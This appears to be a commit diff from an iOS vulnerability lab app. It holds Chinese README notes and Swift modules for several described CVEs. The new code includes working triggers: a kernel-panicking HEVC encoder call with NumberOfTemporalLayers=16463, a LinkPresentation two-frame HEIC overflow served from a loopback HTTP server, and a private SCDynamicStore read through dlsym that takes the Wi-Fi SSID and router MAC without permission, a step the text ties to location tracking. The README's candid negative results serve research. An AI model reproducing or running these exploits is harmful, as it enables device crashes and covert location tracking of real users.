| [CVE-2026-112705](CVE-2026-112705/) | `ave.ntl`, `ave.ntl.fire` | AppleAVE2 · VideoToolbox HEVC 编码器 | OOB 写 | 内核 | `NumberOfTemporalLayers` 16463 → 内核 data abort | `CVE-2026-112705.swift` · `CVE-2026-112705.c` |
| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | 信息泄露 | 系统进程 | CoreMedia bytestream XPC 跨沙盒文件描述符获取 | `CVE-2026-112706.swift` · `CVE-2026-112706.c` |
| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB 写 | 系统进程 | AVHaptic 自定义音频事件格式校验 | `CVE-2026-113907.swift` · `CVE-2026-113907.c` |
| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | 信息泄露 | 内核 | decmpfs 分块解压欠产出 → 内核堆泄露 | `CVE-2026-113910.swift` · `CVE-2026-113910.c` |
@@ -92,7 +94,7 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶
4. **预言机** —— 打印到 stdout:OSStatus 码、入口拒绝回执、XPC 回复类型、信号/崩溃结果
5. **`main()`** —— Swift 版可参数化的地方同样参数化(深度、块数、路径);种子文件写入工作目录备查
31 个全部 `clang -O2 -Wall` 零警告编译通过,且都在本机跑出记录在案的 oracle。
34 个全部 `clang -O2 -Wall` 零警告编译通过,且都在本机跑出记录在案的 oracle。
## 运行
@@ -128,15 +130,19 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器
python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致)
```
设备安装:bundle id `com.jbjf.cinder27`(v2.0 build 3),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
设备安装:bundle id `com.jbjf.cinder27`(v2.2 build 5),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
## 验证状态
51 模块全量回归(模拟器构建):**47 done + 4 armed**。
57 模块全量回归(模拟器构建):**51 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。
armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。
31 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。其余都在入口层被拒——与 app 验证台同形回执。
34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41,并在 16 轮扫描中报告 0 个已分类指针(macOS 上带数据的文件不走 decmpfs);采集器现在支持 `--loop`、`--keep` 与 kernel-text/data 分类。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论:六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏(只读),112554 是读宽度模型,112507 是 UAF 形状的竞态回执,112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执,而不是任意内核读写。
112507 的可达性已在目标机(iPhone19,7 / iOS 27.0.1)上用新增的 `kern.ipc.lifecycle` 模块与 `kern.ipc` 的 `armed` 计数重测:`mach_port_request_notification` 在所有类型/权限组合上都返回 -300(MIG_TYPE_ERROR),12,288 次注册 0 次成功。请求表从未被武装,因此无特权 app 触达不到该竞态;此前“活过交错”的结论撤回。详见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。
## 模块语义
+10 -11
View File
@@ -4,7 +4,7 @@ import ImageIO
enum Catalog {
static let all: [ExploitModule] = coreGraphics + imageIO + imageIO2 + archive + archive2 + coreMedia + crossSandbox + kernel + audio + audio2 + video + fonts + font2 + kext + userspace + tooling + probes
static let all: [ExploitModule] = coreGraphics + imageIO + imageIO2 + archive + archive2 + coreMedia + crossSandbox + kernel + audio + audio2 + video + fonts + font2 + kext + userspace + tooling + probes + arrivals
/// Modules that pin a fix Apple shipped in 27.2 (i.e. carry a CVE number). Computed,
/// never hardcoded — the overview subtitle reads it, so it cannot go stale.
@@ -413,28 +413,27 @@ enum Catalog {
reach: .kernel,
tier: 2,
summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。",
notesZh: "该路径上原本被认为无 entitlement 门槛的入口是 mach_msg 与端口通知注册。真机实测(iOS 27.0.1,iPhone 19,7)与 macOS 27 上,mach_port_request_notification 的 13 种类型/权限组合全部返回 -300(MIG_TYPE_ERROR):内核拒绝为第三方进程武装请求表项。没有请求表项,就没有可被竞态消费的陈旧索引 —— 本模块因此是一个可达性负结果,而不是竞态证据。armed 计数为 0 时,任何“survived”都不构成 112507 结论。",
run: { ctx in
let baseline = KernelIPC.baseline()
ctx.arm("kern.ipc", "race 6s")
let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
ctx.disarm("kern.ipc", "ops=\(stats.operations)")
ctx.disarm("kern.ipc", "ops=\(stats.operations) armed=\(stats.armed) refused=\(stats.notificationsRefused)")
var lines = [stats.summary, ""]
lines.append(tl("— 基线 —"))
for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
lines.append("\(k): \(v)")
}
if stats.notificationsRefused > 0 {
if stats.armed == 0 && stats.notifications > 0 {
lines.append("")
lines.append(tl("— 平台限制 —"))
lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。"))
lines.append(tl("该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。"))
lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收,"))
lines.append(tl("验证了名称空间的分配/拆除路径本身可用。"))
lines.append(tl("— 可达性判定 —"))
lines.append(tl("通知注册成功 0 次,拒绝 ") + "\(stats.notificationsRefused)" + tl(" 次,内核返回 -300(MIG_TYPE_ERROR)。"))
lines.append(tl("请求表项从未建立,竞态没有可消费的对象:本模块未触达 112507。"))
lines.append(tl("已完成的 ") + "\(stats.allocations)" + tl(" 次分配/拆除只证明端口名称空间可用,不是漏洞证据。"))
}
let headline: String
if stats.notificationsRefused > 0 {
headline = tl("分配/拆除路径可用,通知武装被平台拒绝")
if stats.armed == 0 && stats.notifications > 0 {
headline = tl("通知注册全程 -300 — 112507 路径未武装(负结果)")
} else if !stats.kernelErrors.isEmpty {
headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
} else {
+514
View File
@@ -0,0 +1,514 @@
import Foundation
import UIKit
import ImageIO
import CoreGraphics
import CoreMedia
import CoreVideo
import VideoToolbox
import LinkPresentation
import Network
import SystemConfiguration
import SystemConfiguration.CaptiveNetwork
import UniformTypeIdentifiers
// MARK: - CVE-2026-112705 / CVE-2026-112621 / CVE-2026-84636
//
// Three arrivals from public research. Each one is split into a probe and, where the
// trigger is destructive, a separate fire module: the probe is safe to run while
// building the lab, the fire module is a deliberate one-tap trigger on a device that
// is allowed to die for the result.
extension Catalog {
static let arrivals: [ExploitModule] = [
// ── CVE-2026-112705 · AppleAVE2 NumberOfTemporalLayers ──────────────
ExploitModule(
id: "ave.ntl",
titleZh: "AppleAVE2 时间层数属性面(NumberOfTemporalLayers)",
cve: "CVE-2026-112705",
component: "AppleAVE2 · VideoToolbox HEVC encoder",
primitive: .oobWrite,
reach: .kernel,
tier: 3,
summaryZh: """
VideoToolbox 的 HEVC 压缩会话把 NumberOfTemporalLayers 原样下发给 AppleAVE2 驱动,驱动按声明值索引一张固定大小的层表。16463 越过表尾,第一次提交帧时在 AppleAVE2 +0xDA78 写入固定偏移,内核 data abort;16462 存活。iOS 27.2 在 SetProperty 阶段就返回 -12900。本模块只做属性面:建会话、设置 EncoderUsage=1 / RCMode=20、写入 NTL 并回读,不提交任何帧。
""",
notesZh: """
fire 版本才会提交一帧并触发 panic。macOS 上同一驱动同样可达:实测 16463 在 macOS 上 SetProperty 返回 0(回读被归一化为 1),说明属性被接受但值没有透传,帧提交仍有内核崩溃风险 —— 这也是本机被 112705 打崩过一次之后,宿主只编译不执行的原因。设备上跑 fire 之前先确认目标机允许重启。
""",
run: { ctx in
ctx.arm("ave.ntl", "session + property acceptance")
var lines: [String] = []
let (session, create) = aveSession()
lines.append("VTCompressionSessionCreate(hvc1) = \(create) \(fourCC(create))")
guard create == 0, let s = session else {
ctx.fail("ave.ntl", "session=\(create)")
throw LabError(message: tl("HEVC 压缩会话创建失败"))
}
defer { VTCompressionSessionInvalidate(s) }
let su = aveSet(s, "EncoderUsage", NSNumber(value: 1))
let sr = aveSet(s, "RCMode", NSNumber(value: 20))
_ = aveSet(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse)
lines.append("EncoderUsage=\(su) RCMode=\(sr)")
var accepted: [Int] = []
for n in [64, 1024, 16462, 16463] {
let st = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: n))
lines.append("NTL \(n): status=\(st) readback: \(aveRead(s, "NumberOfTemporalLayers"))")
if st == 0 { accepted.append(n) }
}
ctx.disarm("ave.ntl", "accepted=\(accepted.count)/4")
let verdict: String
if accepted.contains(16463) {
verdict = tl("16463 被接受 —— 该构建的设备在 fire 时会 panic")
} else if accepted.isEmpty {
verdict = tl("全部被拒 —— 27.2+ 的修复面")
} else {
verdict = tl("部分档位被接受")
}
return ModuleOutcome(headline: verdict, detail: lines.joined(separator: "\n"),
evidence: [tl("引用: AppleAVE2 +0xDA78, far=0x59"), tl("16462 存活 / 16463 触发")])
}),
ExploitModule(
id: "ave.ntl.fire",
titleZh: "AppleAVE2 时间层数越界写(fire:提交一帧)",
cve: "CVE-2026-112705",
component: "AppleAVE2 · VideoToolbox HEVC encoder",
primitive: .oobWrite,
reach: .kernel,
tier: 1,
summaryZh: """
完整的 112705 触发:HEVC 会话 → EncoderUsage=1 → RCMode=20 → NumberOfTemporalLayers=16463 → 提交一帧。在 iOS 27.0–27.1 上,驱动在准备这一帧时越界写,内核 data abort,设备重启。进程内看不到返回值 —— 证据是重启后在概览页出现的 processDied 判定,以及 Analytics 里的 panic .ips。
""",
notesZh: """
只应在允许重启的设备上点。模拟器没有 AVE2 硬件编码器,走到 encode 也只会返回状态码,不会崩;macOS 上不要运行对应 POC 的 encode 路径(同驱动,会打崩宿主)。27.2 起 NTL 在 SetProperty 就被拒,fire 会安全返回 -12900。
""",
run: { ctx in
let detail: String
do {
let (session, create) = aveSession()
guard create == 0, let s = session else {
throw LabError(message: tl("HEVC 会话创建失败: ") + "\(create)")
}
defer { VTCompressionSessionInvalidate(s) }
_ = aveSet(s, "EncoderUsage", NSNumber(value: 1))
_ = aveSet(s, "RCMode", NSNumber(value: 20))
_ = aveSet(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse)
let sn = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: 16463))
guard sn == 0 else {
ctx.disarm("ave.ntl.fire", "ntl refused \(sn)")
return ModuleOutcome(headline: tl("NTL 被拒 ") + "\(sn)" + tl(" —— 修复构建"),
detail: "NumberOfTemporalLayers=16463 status=\(sn)")
}
var attrs: [CFString: Any] = [:]
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
var pb: CVPixelBuffer?
let pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs as CFDictionary, &pb)
guard pc == 0, let pixel = pb else {
throw LabError(message: tl("像素缓冲创建失败: ") + "\(pc)")
}
// Arm last: everything that can fail early has already succeeded.
ctx.arm("ave.ntl.fire", "NTL=16463 encode[0]")
var log = "NumberOfTemporalLayers=16463 accepted\n"
for i in 0..<4 {
let pts = CMTime(value: CMTimeValue(i), timescale: 30)
let st = VTCompressionSessionEncodeFrame(s, imageBuffer: pixel,
presentationTimeStamp: pts,
duration: .invalid,
frameProperties: nil,
infoFlagsOut: nil) { _, _, _ in }
log += "encode[\(i)] status=\(st)\n"
if st != 0 { break }
}
VTCompressionSessionCompleteFrames(s, untilPresentationTimeStamp: .invalid)
detail = log
}
ctx.disarm("ave.ntl.fire", "survived")
return ModuleOutcome(headline: tl("设备存活 —— 未命中该构建"),
detail: detail + tl("没有发生 panic:模拟器无 AVE2,或系统已是 27.2+"))
}),
// ── CVE-2026-112621 · LinkPresentation multi-frame HEIC ─────────────
ExploitModule(
id: "lp.heic",
titleZh: "LinkPresentation 双帧尺寸不一致(池容量核对)",
cve: "CVE-2026-112621",
component: "LinkPresentation · LPAnimatedImageTranscoder",
primitive: .oobWrite,
reach: .inProcess,
tier: 3,
summaryZh: """
LPAnimatedImageTranscoder 用第 0 帧的像素尺寸配置 video writer,encodeNextFrame 却从当前解码帧取绘制高宽,目标仍是按第 0 帧分配的 CVPixelBuffer 池。256×16 后接 256×48 的双帧容器让 CGContextClearRect 清零 48 行(49152 字节)进 16384 字节的池,越界 32768 字节。本模块只构造容器并核对两帧尺寸与池容量,不做转码。
""",
notesZh: """
宽度必须保持一致:CoreGraphics 会用池的行跨距校验宽度,512 宽的后续帧会让 CGBitmapContextCreate 直接失败,执行到不了 clear。HEIC 是公告里的载体;模拟器不能编 HEIC 时回退到 TIFF,并以 image/gif 的 MIME 投递 —— LPImage 的 _isAnimated 只看响应头,ImageIO 仍按内容识别。fire 版本才会让 LPMetadataProvider 真正拉取并转码。
""",
run: { ctx in
ctx.arm("lp.heic", "container + pool math")
var lines: [String] = []
let seed = lpContainer()
guard let data = seed.data else {
ctx.fail("lp.heic", "container")
throw LabError(message: tl("无法构造双帧容器"))
}
lines.append("format=\(seed.label) bytes=\(data.count)")
let sizes = lpFrameSizes(data)
for (i, s) in sizes.enumerated() { lines.append("frame[\(i)] \(s.0)x\(s.1)") }
guard sizes.count >= 2 else {
ctx.fail("lp.heic", "count=\(sizes.count)")
throw LabError(message: tl("容器没有两帧"))
}
let stride = sizes[0].0 * 4
let pool = stride * sizes[0].1
let draw = stride * sizes[1].1
lines.append("pool = \(sizes[0].0)x\(sizes[0].1) × 4 = \(pool) B (stride \(stride))")
lines.append("draw = frame 1 height \(sizes[1].1) × stride = \(draw) B")
lines.append("overflow = \(draw - pool) B")
lines.append(tl("宽度一致: ") + (sizes[0].0 == sizes[1].0 ? "yes" : "no"))
ctx.disarm("lp.heic", "overflow=\(draw - pool)")
return ModuleOutcome(
headline: draw > pool ? tl("越界 ") + "\(draw - pool) B" : tl("两帧同尺寸"),
detail: lines.joined(separator: "\n"),
evidence: [tl("CGBitmapContextCreate 不校验行数"), tl("clear 写入 48 行 / 池只有 16 行")])
}),
ExploitModule(
id: "lp.heic.fire",
titleZh: "LinkPresentation 链接预览越界写(fire:本地 HTTP + LPMetadataProvider)",
cve: "CVE-2026-112621",
component: "LinkPresentation · LPAnimatedImageTranscoder",
primitive: .oobWrite,
reach: .inProcess,
tier: 1,
summaryZh: """
走公开投递路径:在 127.0.0.1 上起一个只服务 HTML 与图片的端点,页面 og:image 指向双帧容器,然后调用 LPMetadataProvider。LinkPresentation 自己拉页面、读 og:image、建池、进入 LPAnimatedImageTranscoder。iOS 27.0/27.1 在转码队列上越界写并 SIGBUS/SIGSEGV;27.2 在 encodeNextFrame 比较当前帧与首帧尺寸,不符直接 failed,不进入绘制。
""",
notesZh: """
这是进程内原语:崩的是 app,不是内核。崩溃后重启 app,本模块的判定会是 processDied,engine 日志最后一行是 fire 开始。真机与 Messages 收到链接后点 “加载预览” 是同一条路径;本模块只是把投递端换成本机回环,避免任何外部网络。
""",
run: { ctx in
var lines: [String] = []
let seed = lpContainer()
guard let data = seed.data else { throw LabError(message: tl("无法构造双帧容器")) }
let sizes = lpFrameSizes(data)
lines.append("format=\(seed.label) frames=\(sizes.map { "\($0.0)x\($0.1)" }.joined(separator: " → "))")
let server = LoopbackImageServer(image: data, mime: seed.mime)
let port = try server.start()
guard port != 0, let url = URL(string: "http://127.0.0.1:\(port)/") else {
throw LabError(message: tl("回环服务未能绑定"))
}
lines.append("serving \(url) ct=\(seed.mime)")
var title: String?
var error: String?
let sem = DispatchSemaphore(value: 0)
ctx.arm("lp.heic.fire", "LPMetadataProvider \(url.absoluteString)")
DispatchQueue.main.async {
let provider = LPMetadataProvider()
provider.timeout = 20
provider.startFetchingMetadata(for: url) { meta, err in
title = meta?.title
error = err?.localizedDescription
sem.signal()
}
}
_ = sem.wait(timeout: .now() + 30)
let served = server.requestCount
server.stop()
ctx.disarm("lp.heic.fire", "served=\(served)")
if let error {
return ModuleOutcome(headline: tl("元数据获取失败"), detail: lines.joined(separator: "\n") + "\n" + error,
evidence: [tl("请求数: ") + "\(served)"])
}
lines.append("requests served: \(served)")
lines.append("metadata title: \(title ?? "(none)")")
return ModuleOutcome(headline: tl("转码器未取第二帧 —— 修复构建"),
detail: lines.joined(separator: "\n"),
evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")])
}),
// ── CVE-2026-112507 · port lifecycle baseline ───────────────────────
ExploitModule(
id: "kern.ipc.lifecycle",
titleZh: "Mach 端口死名通知与名字复用基线(112507 前置)",
cve: "CVE-2026-112507",
component: "XNU · ipc_port request table",
primitive: .probe,
reach: .kernel,
tier: 3,
summaryZh: """
单线程走一遍 112507 竞态必须保持正确的生命周期:申请 receive right → 插入 send right → 注册 dead-name 通知 → 丢弃 receive right(send right 变成死名)→ 向死名发送(应为 MACH_SEND_INVALID_DEST)→ 从通知端口收 dead-name 消息 → 释放死名并观察同一数字名是否被下一次分配复用。它不制造竞态,也不释放活着的请求表项。
""",
notesZh: """
这是竞态模块的前置基线,不会打崩内核。两项观测决定 112507 的结论是否成立:dead-name 通知是否真的送达、名字是否会被复用。若这里就异常,先查平台语义,不要把它当成 UAF 证据。真机上通知注册应返回 KERN_SUCCESS;模拟器上可能出现注册被拒。
""",
run: { ctx in
ctx.arm("kern.ipc.lifecycle", "dead-name lifecycle")
let r = KernelIPC.lifecycle()
ctx.disarm("kern.ipc.lifecycle",
"dead=\(r.deadName) reuse=\(r.reused) | " + r.lines.joined(separator: " | "))
let head: String
if r.requestKR != KERN_SUCCESS {
head = tl("通知注册被拒") + " (\(r.requestKR))" + tl(" — 112507 路径无法武装")
} else if r.deadName && r.reused {
head = tl("dead-name 送达 · 名字被复用")
} else if r.deadName {
head = tl("dead-name 送达 · 名字未复用")
} else {
head = tl("通知已注册但 dead-name 未送达 —— 查通知顺序")
}
return ModuleOutcome(
headline: head,
detail: r.lines.joined(separator: "\n"),
evidence: [tl("send to dead name 应为 MACH_SEND_INVALID_DEST"),
tl("dead-name 消息 id = 0x40000002"),
tl("复用只记录,不构成本身结论")])
}),
// ── CVE-2026-84636 · SCDynamicStore without wifi-info ───────────────
ExploitModule(
id: "sc.dynamicstore",
titleZh: "configd 动态存储读取 SSID 与路由器 MAC(无 wifi-info 权限)",
cve: "CVE-2026-84636",
component: "SystemConfiguration · configd dynamic store",
primitive: .infoLeak,
reach: .systemProcess,
tier: 1,
summaryZh: """
configd 的动态存储把 en0/AirPort 的 SSID_STR、BSSID、信道、认证方式,以及服务 IPv4 条目里的 ARPResolvedHardwareAddress(路由器 MAC)、Global/DNS、DHCP 租约、蓝牙/热点/AutoUnlock 状态暴露给任意沙盒进程。SCDynamicStoreCreate + CopyValue 不需要 com.apple.developer.networking.wifi-info,也不触发定位权限;而受支持的 CNCopyCurrentNetworkInfo 在同一进程里返回 nil。SSID + 路由器 MAC 足以做 WiGLE/Google 的无线定位(约 10–30 米)。
""",
notesZh: """
模块同时打印两条路径:受支持 API 的返回值与动态存储的原始字典,形成同进程对照。模拟器上 en0/AirPort 通常缺失(macOS 侧网络由 utun 承载),真机连 Wi-Fi 时才有 SSID 与 ARP 条目;缺失也是有效结果 —— 说明该平台把键收敛了。README 记录作者标注为 iOS 27 修复,实测以本机输出为准。
""",
run: { ctx in
ctx.arm("sc.dynamicstore", "configd read")
var lines: [String] = []
guard let sc = SCDynamicStoreShim() else {
ctx.fail("sc.dynamicstore", "dlsym")
throw LabError(message: tl("SystemConfiguration 符号解析失败"))
}
guard let store = sc.create("cinder27") else {
ctx.fail("sc.dynamicstore", "create")
throw LabError(message: tl("SCDynamicStoreCreate 失败"))
}
let entitled = CNCopyCurrentNetworkInfo("en0" as CFString) as? [String: Any]
lines.append("CNCopyCurrentNetworkInfo: " + (entitled.map { "\($0)" } ?? "nil"))
func value(_ key: String) -> [String: Any]? {
sc.copy(store, key) as? [String: Any]
}
let airport = value("State:/Network/Interface/en0/AirPort")
lines.append("en0/AirPort: " + (airport.map { "\($0)" } ?? "<absent>"))
let ssid = airport?["SSID_STR"] as? String
let global = value("State:/Network/Global/IPv4")
lines.append("Global/IPv4: " + (global.map { "\($0)" } ?? "<absent>"))
var routerMAC: String?
if let uuid = global?["PrimaryService"] as? String {
let svc = value("State:/Network/Service/\(uuid)/IPv4")
lines.append("Service IPv4: " + (svc.map { "\($0)" } ?? "<absent>"))
routerMAC = svc?["ARPResolvedHardwareAddress"] as? String
}
for key in ["State:/Network/Global/DNS",
"com.apple.MobileBluetooth",
"com.apple.MobileInternetSharing",
"com.apple.sharing:/AutoUnlock/Enabled",
"State:/IOKit/LowBatteryWarning"] {
lines.append("\(key): " + (value(key).map { "\($0)" } ?? "<absent>"))
}
if let keys = sc.keys(store, "State:/Network/.*") as? [String] {
lines.append("State:/Network keys: \(keys.count)")
}
ctx.disarm("sc.dynamicstore", "ssid=\(ssid != nil) mac=\(routerMAC != nil)")
let headline: String
if let ssid, let routerMAC {
headline = "SSID=\(ssid) · router=\(routerMAC)"
} else if ssid != nil {
headline = tl("SSID 可读 · 路由器 MAC 缺失")
} else {
headline = tl("动态存储无 AirPort 条目(本平台/未连 Wi-Fi)")
}
return ModuleOutcome(headline: headline, detail: lines.joined(separator: "\n"),
evidence: [tl("同进程 CNCopyCurrentNetworkInfo = nil"),
tl("SSID + 路由器 MAC = 无定位权限的无线定位")])
}),
]
}
// MARK: - shared helpers
private func fourCC(_ v: OSStatus) -> String {
let n = UInt32(bitPattern: v)
let b = [UInt8((n >> 24) & 0xff), UInt8((n >> 16) & 0xff), UInt8((n >> 8) & 0xff), UInt8(n & 0xff)]
if b.allSatisfy({ $0 >= 0x20 && $0 < 0x7f }) { return "'" + String(bytes: b, encoding: .ascii)! + "'" }
return "\(v)"
}
private func aveSession() -> (VTCompressionSession?, OSStatus) {
var session: VTCompressionSession?
let st = VTCompressionSessionCreate(allocator: kCFAllocatorDefault,
width: 1280, height: 720,
codecType: kCMVideoCodecType_HEVC,
encoderSpecification: nil,
imageBufferAttributes: nil,
compressedDataAllocator: nil,
outputCallback: nil,
refcon: nil,
compressionSessionOut: &session)
return (session, st)
}
private func aveSet(_ s: VTCompressionSession, _ key: String, _ value: CFTypeRef) -> OSStatus {
VTSessionSetProperty(s, key: key as CFString, value: value)
}
private func aveRead(_ s: VTCompressionSession, _ key: String) -> String {
var out: CFTypeRef?
let st = VTSessionCopyProperty(s, key: key as CFString, allocator: kCFAllocatorDefault, valueOut: &out)
guard st == 0, let v = out else { return "copyErr=\(st)" }
return "\(v)"
}
private func lpSolid(_ w: Int, _ h: Int, _ r: CGFloat, _ g: CGFloat, _ b: CGFloat) -> CGImage? {
let cs = CGColorSpaceCreateDeviceRGB()
guard let ctx = CGContext(data: nil, width: w, height: h, bitsPerComponent: 8,
bytesPerRow: w * 4, space: cs,
bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else { return nil }
ctx.setFillColor(red: r, green: g, blue: b, alpha: 1)
ctx.fill(CGRect(x: 0, y: 0, width: w, height: h))
return ctx.makeImage()
}
/// HEIC first (the advisory format); TIFF served as image/gif is the fallback that
/// still decodes as independent pages when the platform cannot encode HEIC.
private func lpContainer() -> (data: Data?, label: String, mime: String) {
for (type, label, mime) in [(UTType.heic, "heic", "image/heic"),
(UTType.tiff, "tiff", "image/gif")] {
let out = NSMutableData()
guard let dest = CGImageDestinationCreateWithData(out, type.identifier as CFString, 2, nil) else { continue }
guard let f0 = lpSolid(256, 16, 0.90, 0.10, 0.10),
let f1 = lpSolid(256, 48, 0.10, 0.20, 0.90) else { continue }
CGImageDestinationAddImage(dest, f0, nil)
CGImageDestinationAddImage(dest, f1, nil)
guard CGImageDestinationFinalize(dest) else { continue }
if lpFrameSizes(out as Data).count == 2 { return (out as Data, label, mime) }
}
return (nil, "", "")
}
private func lpFrameSizes(_ data: Data) -> [(Int, Int)] {
guard let src = CGImageSourceCreateWithData(data as CFData, nil) else { return [] }
let n = CGImageSourceGetCount(src)
var out: [(Int, Int)] = []
for i in 0..<min(n, 2) {
guard let img = CGImageSourceCreateImageAtIndex(src, i, nil) else { continue }
out.append((img.width, img.height))
}
return out
}
/// Minimal loopback HTTP server: one HTML page with og:image, one image endpoint.
/// LinkPresentation fetches both exactly as it would from a remote host.
private final class LoopbackImageServer {
private let listener: NWListener
private let image: Data
private let mime: String
private let lock = NSLock()
private var served = 0
var requestCount: Int { lock.lock(); defer { lock.unlock() }; return served }
init(image: Data, mime: String) {
self.image = image
self.mime = mime
let params = NWParameters.tcp
params.allowLocalEndpointReuse = true
listener = try! NWListener(using: params, on: .any)
}
func start() throws -> UInt16 {
let ready = DispatchSemaphore(value: 0)
listener.stateUpdateHandler = { state in
if case .ready = state { ready.signal() }
}
listener.newConnectionHandler = { [weak self] conn in self?.serve(conn) }
listener.start(queue: .global())
_ = ready.wait(timeout: .now() + 5)
return listener.port?.rawValue ?? 0
}
func stop() { listener.cancel() }
private func serve(_ conn: NWConnection) {
conn.start(queue: .global())
conn.receive(minimumIncompleteLength: 1, maximumLength: 8192) { [weak self] data, _, _, _ in
guard let self, let data, let head = String(data: data, encoding: .utf8) else {
conn.cancel(); return
}
self.lock.lock(); self.served += 1; self.lock.unlock()
let path = head.split(separator: " ").dropFirst().first.map(String.init) ?? "/"
if path.hasPrefix("/pic") {
self.respond(conn, body: self.image, type: self.mime)
} else {
let page = """
<!doctype html><html><head><meta charset="utf-8">
<meta property="og:title" content="CVE-2026-112621">
<meta property="og:image" content="http://127.0.0.1:\(self.listener.port?.rawValue ?? 0)/pic">
</head><body>cve-2026-112621</body></html>
"""
self.respond(conn, body: Data(page.utf8), type: "text/html")
}
}
}
private func respond(_ conn: NWConnection, body: Data, type: String) {
var out = Data("HTTP/1.1 200 OK\r\nContent-Type: \(type)\r\nContent-Length: \(body.count)\r\nConnection: close\r\n\r\n".utf8)
out.append(body)
conn.send(content: out, completion: .contentProcessed { _ in conn.cancel() })
}
}
/// SCDynamicStore is private on iOS — the public SDK marks it unavailable. The symbols
/// still live in SystemConfiguration, and configd answers an unentitled process, which
/// is the whole point of the CVE. Resolve them by name.
private final class SCDynamicStoreShim {
typealias CreateFn = @convention(c) (CFAllocator?, CFString, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?) -> CFTypeRef?
typealias CopyFn = @convention(c) (CFTypeRef, CFString) -> CFPropertyList?
typealias KeysFn = @convention(c) (CFTypeRef, CFString) -> CFArray?
private let createFn: CreateFn
private let copyFn: CopyFn
private let keysFn: KeysFn
init?() {
guard let h = dlopen("/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration", RTLD_NOW) else {
return nil
}
guard let c = dlsym(h, "SCDynamicStoreCreate"),
let v = dlsym(h, "SCDynamicStoreCopyValue"),
let k = dlsym(h, "SCDynamicStoreCopyKeyList") else { return nil }
createFn = unsafeBitCast(c, to: CreateFn.self)
